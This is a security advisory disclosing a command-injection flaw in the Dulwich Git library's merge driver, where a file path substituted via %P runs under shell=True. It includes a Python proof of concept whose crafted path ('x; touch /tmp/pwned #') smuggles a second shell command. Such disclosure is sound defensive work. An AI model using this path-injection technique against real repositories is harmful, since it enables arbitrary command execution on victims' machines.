GHSA-9277-mp7x-85jf

## Summary

Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

## Description

- **Type:** Command Injection - **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch) - **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder - **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.

## Resources

- Repository: https://github.com/dulwich/dulwich - Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)

## Proof of Concept

```python from dulwich.attrs import GitAttributes, Pattern from dulwich.config import ConfigDict from dulwich.merge import merge_blobs from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools config = ConfigDict() config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})] gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base") ours = Blob.from_string(b"ours") theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned" malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path, gitattributes=gitattributes, config=config) # => Executes: echo x; touch /tmp/pwned # # => Shell runs: echo x, then touch /tmp/pwned ```

## Fix [merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)